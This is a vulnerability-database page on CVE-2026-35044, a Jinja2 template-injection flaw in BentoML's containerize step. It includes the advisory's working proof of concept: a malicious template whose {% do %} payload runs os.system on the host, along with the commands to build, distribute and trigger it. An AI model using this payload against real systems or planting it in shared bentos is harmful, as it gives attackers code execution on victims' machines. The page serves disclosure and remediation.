Skip to main content

BentoML CVE-2026-35044

CRITICAL
Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)
2026-04-03 https://github.com/bentoml/BentoML GHSA-v959-cwq9-7hr6
9.6
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious bento with SSTI Dockerfile.template
  2. Delivery
    Distribute bento via S3/registry/share
  3. Exploit
    Victim imports and runs bentoml containerize
  4. Execution
    Unsandboxed Jinja2 renders {% do %} payload on host
  5. Impact
    Arbitrary code execution and host compromise

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization Template injection prevention
Exploitation Conditions

Exploitation requires the attacker to get the victim to (1) obtain an attacker-crafted bento archive that sets docker.dockerfile_template in bentofile.yaml (embedded as env/docker/Dockerfile.template), (2) import it via 'bentoml import', and (3) run 'bentoml containerize' on it - the rendering step in generate_containerfile() is where attacker Jinja2 ('{% do %}') executes on the host. No special non-default configuration on the victim side is needed beyond using the standard containerize workflow, and no authentication to the victim is needed by the attacker; vulnerable versions are bentoml <= 1.4.37 (fixed in 1.4.38). Limiting factors: this is interaction-gated (UI:R) - it is not a remote unauthenticated server exploit - so it depends on the victim importing and containerizing untrusted/third-party bentos; environments that only build their own trusted bentos are not realistically exposed. The embedded template is not visible without manual inspection, which raises the social-engineering success rate.

Impact

Signals point in two directions and must be read together. The input CVSS is 9.6 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H) with SSVC Technical Impact 'total', and the vendor's own priority label is act_now, reflecting that successful exploitation yields full arbitrary code execution on the victim's host, bypassing container isolation. However, the real-world exploitation profile is narrower than a raw 9.6 suggests: the vector includes UI:R, and the attack is a supply-chain/social-engineering flow - the victim must obtain an attacker-crafted bento, import it, and then run 'bentoml containerize'. This is consistent with SSVC Automatable: no (no spray-and-pray mass exploitation) and with the very low EPSS of 0.04% (13th percentile), which indicates little expectation of widespread automated exploitation. The two signals are not contradictory: high per-incident impact combined with low probability of broad, automatable exploitation is the signature of a targeted/opportunistic supply-chain threat rather than an internet-wide worm. It is NOT in CISA KEV, so there is no confirmed active exploitation; SSVC Exploitation is 'poc', and a detailed PoC is published in the GHSA advisory. Net: treat as a genuine high priority for anyone who imports third-party bentos or runs containerize on shared/CI runners (act_now per vendor), but recognize the low likelihood of indiscriminate mass exploitation reflected by EPSS and the non-automatable, interaction-gated delivery.

Exploit ScenarioDerived

An attacker publishes a seemingly legitimate bento archive (shared via S3, HTTP, a model registry, or direct hand-off) whose embedded env/docker/Dockerfile.template contains a Jinja2 '{% do %}' SSTI payload. A victim imports the bento with 'bentoml import' and runs 'bentoml containerize'; the template is rendered in an unsandboxed Jinja2 Environment and the attacker's Python executes directly on the host before Docker is ever invoked, bypassing all container isolation. A complete, verified PoC (including the evil.j2 template writing to /tmp/pwned) is published in the GHSA-v959-cwq9-7hr6 advisory; given AC:L the payload fires reliably once the victim containerizes.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Oct 23, 2026

Host-side code execution in BentoML through 1.4.37 lets an unauthenticated attacker who convinces a victim to import and containerize a crafted bento run arbitrary Python on the victim’s machine. The malicious Jinja2 dockerfile template is embedded in the bento and rendered by an unsandboxed Environment during bentoml containerize, before Docker isolation applies; publicly available exploit code exists, and the vendor fixed the issue in 1.4.38. EPSS is 0.04% (13th percentile), but the interaction-gated attack has high confidentiality, integrity, and availability impact, and the priority label is act_now with SSVC recording PoC exploitation and total technical impact.

Earlier versions of this analysis (1)
v1 Apr 03, 2026 - 23:15 CVSS 8.8

Remote code execution in BentoML's containerization workflow allows attackers to execute arbitrary Python code on victim machines by distributing malicious bento archives containing SSTI payloads. When victims import a weaponized bento and run 'bentoml containerize', unsanitized Jinja2 template rendering executes attacker-controlled code directly on the host system - bypassing all Docker container isolation. The vulnerability stems from using an unsandboxed jinja2.Environment with the dangerous jinja2.ext.do extension to process user-provided dockerfile_template files. Authentication is not required (CVSS PR:N), though exploitation requires user interaction (UI:R) to import and containerize the malicious bento. No public exploit identified at time of analysis, though the GitHub advisory includes detailed proof-of-concept demonstrating host filesystem compromise.

RemediationAI

Upgrade BentoML to 1.4.38, which contains the vendor fix; the advisory recommends replacing the unsandboxed Environment with jinja2.sandbox.SandboxedEnvironment and removing jinja2.ext.do and jinja2.ext.debug, and also reviewing the second unsandboxed Environment in build_config.py. If upgrading is not immediately possible, do not run bentoml import followed by bentoml containerize on bentos from untrusted sources, and inspect archives for env/docker/Dockerfile.template before containerizing; because the template is embedded and not visible without manual inspection, this workaround depends on manual review and does not fully eliminate risk. Advisory: https://github.com/bentoml/BentoML/security/advisories/GHSA-v959-cwq9-7hr6.

Affected Packages

pypi bentoml fix: 1.4.38

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

BentoML renders Dockerfile templates with Jinja2, and the root cause is CWE-1336: an unsandboxed jinja2.Environment in src/bentoml/_internal/container/generate.py is configured with jinja2.ext.do and jinja2.ext.debug and then used to render a user-supplied dockerfile_template. During bentoml build, DockerOptions.write_to_bento() copies the template into the bento archive at env/docker/Dockerfile.template; importing the archive performs no validation of that template. When the victim runs bentoml containerize, generate_containerfile() loads and renders the attacker-controlled template on the host, so {% do %} expressions can reach Python builtins and execute operating-system commands before Docker starts. This is distinct from docker.commands or docker.post_commands, which execute inside the Docker build container; the SSTI executes on the host and bypasses container isolation. The CPE pkg:pip/bentoml identifies the affected Python package, and the vulnerable range is <= 1.4.37.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.6 CRITICAL
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
vuln.today AI 9.6 CRITICAL

Attacker-crafted bento delivered over network (AV:N) executes reliably once rendered (AC:L) with no attacker-side privileges (PR:N); victim must import and containerize (UI:R); host code execution out of the build context gives S:C and C/I/A:H.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

5
Analysis Updated
Oct 23, 2026 - 23:28 vuln.today
v2 - CVSS changed
Severity Changed
Oct 23, 2026 - 23:24 NVD
HIGH CRITICAL
CVSS changed
Oct 23, 2026 - 23:24 NVD
8.8 (HIGH) 9.6 (CRITICAL)
Patch released
Apr 04, 2026 - 02:30 nvd
Patch available
CVE Published
Apr 03, 2026 - 23:14 nvd
HIGH 8.8

DescriptionNVD

Summary

The Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation.

Details

The vulnerability exists in the generate_containerfile() function at src/bentoml/_internal/container/generate.py:155-157:

python
ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

This creates an unsandboxed jinja2.Environment with two dangerous extensions:

  • jinja2.ext.do - enables {% do %} tags that execute arbitrary Python expressions
  • jinja2.ext.debug - exposes internal template engine state

Attack path:

  1. Attacker builds a bento with dockerfile_template set in bentofile.yaml. During bentoml build, DockerOptions.write_to_bento() (build_config.py:272-276) copies the template file into the bento archive at env/docker/Dockerfile.template:
python
if self.dockerfile_template is not None:
    shutil.copy2(
        resolve_user_filepath(self.dockerfile_template, build_ctx),
        docker_folder / "Dockerfile.template",
    )
  1. Attacker exports the bento as a .bento or .tar.gz archive and distributes it (via S3, HTTP, direct sharing, etc.).
  2. Victim imports the bento with bentoml import bento.tar - no validation of template content is performed.
  3. Victim containerizes with bentoml containerize. The construct_containerfile() function (__init__.py:198-204) detects the template and sets the path:
python
docker_attrs["dockerfile_template"] = "env/docker/Dockerfile.template"
  1. generate_containerfile() (generate.py:181-192) loads the attacker-controlled template into the unsandboxed Environment and renders it at line 202:
python
user_templates = docker.dockerfile_template
if user_templates is not None:
    dir_path = os.path.dirname(resolve_user_filepath(user_templates, build_ctx))
    user_templates = os.path.basename(user_templates)
    TEMPLATES_PATH.append(dir_path)
    environment = ENVIRONMENT.overlay(
        loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True)
    )
    template = environment.get_template(
        user_templates,
        globals={"bento_base_template": template, **J2_FUNCTION},
    )
# ...
return template.render(...)
# <-- SSTI executes here, on the HOST

Critical distinction: Commands in docker.commands or docker.post_commands execute *inside* the Docker build container (isolated). SSTI payloads execute Python directly on the host machine during template rendering, *before* Docker is invoked. This bypasses all container isolation.

PoC

Step 1: Create malicious template evil.j2:

jinja2
{% extends bento_base_template %}
{% block SETUP_BENTO_COMPONENTS %}
{{ super() }}
{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('id > /tmp/pwned') %}
{% endblock %}

Step 2: Create bentofile.yaml referencing the template:

yaml
service: 'service:MyService'
docker:
  dockerfile_template: ./evil.j2

Step 3: Attacker builds and exports:

bash
bentoml build
bentoml export myservice:latest bento.tar

Step 4: Victim imports and containerizes:

bash
bentoml import bento.tar
bentoml containerize myservice:latest

Step 5: Verify host code execution:

bash
cat /tmp/pwned
# Output: uid=1000(victim) gid=1000(victim) groups=...

The SSTI payload executes on the host during template rendering, before any Docker container is created.

Standalone verification that the Jinja2 Environment allows code execution:

bash
python3 -c "
from jinja2 import Environment
env = Environment(extensions=['jinja2.ext.do'])
t = env.from_string(\"{% do namespace.__init__.__globals__['__builtins__']['__import__']('os').system('echo SSTI_WORKS') %}\")
t.render()
"
# Output: SSTI_WORKS

Impact

An attacker who distributes a malicious bento archive can achieve arbitrary code execution on the host machine of any user who imports and containerizes the bento. This gives the attacker:

  • Full access to the host filesystem (source code, credentials, SSH keys, cloud tokens)
  • Ability to install backdoors or pivot to other systems
  • Access to environment variables containing secrets (API keys, database credentials)
  • Potential supply chain compromise if the victim's machine is a CI/CD runner

The attack is particularly dangerous because:

  1. Users may reasonably expect bentoml containerize to be a safe build operation
  2. The malicious template is embedded inside the bento archive and not visible without manual inspection
  3. Execution happens on the host, not inside a Docker container, bypassing all isolation

Recommended Fix

Replace the unsandboxed jinja2.Environment with jinja2.sandbox.SandboxedEnvironment and remove the dangerous jinja2.ext.do and jinja2.ext.debug extensions, which are unnecessary for Dockerfile template rendering.

In src/bentoml/_internal/container/generate.py, change lines 155-157:

python
# Before (VULNERABLE):
from jinja2 import Environment
# ...
ENVIRONMENT = Environment(
    extensions=["jinja2.ext.do", "jinja2.ext.loopcontrols", "jinja2.ext.debug"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)
# After (FIXED):
from jinja2.sandbox import SandboxedEnvironment
# ...
ENVIRONMENT = SandboxedEnvironment(
    extensions=["jinja2.ext.loopcontrols"],
    trim_blocks=True,
    lstrip_blocks=True,
    loader=FileSystemLoader(TEMPLATES_PATH, followlinks=True),
)

Additionally, review the second unsandboxed Environment in build_config.py:499-504 which also uses jinja2.ext.debug:

python
# build_config.py:499 - also fix:
env = jinja2.sandbox.SandboxedEnvironment(
    variable_start_string="<<",
    variable_end_string=">>",
    loader=jinja2.FileSystemLoader(os.path.dirname(__file__), followlinks=True),
)

Executive ViewAI

Why It Matters

BentoML, a widely used framework for packaging and deploying machine learning models, contains a critical vulnerability (CVE-2026-35044) that enables unauthenticated attackers to execute arbitrary code on a victim's machine when they containerize a malicious bento. Successful exploitation grants full control of the affected system, potentially compromising sensitive data, model integrity, and service availability, which could disrupt AI operations and harm customer trust.

Business Impact: High
Compensating Controls

Apply vendor patch (upgrade to BentoML 1.4.38).

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Prevalence
Medium
popular Python ML model-serving framework, common in MLOps but not everywhere
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

48
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +48
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)NVD

pkg:pip/bentoml

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy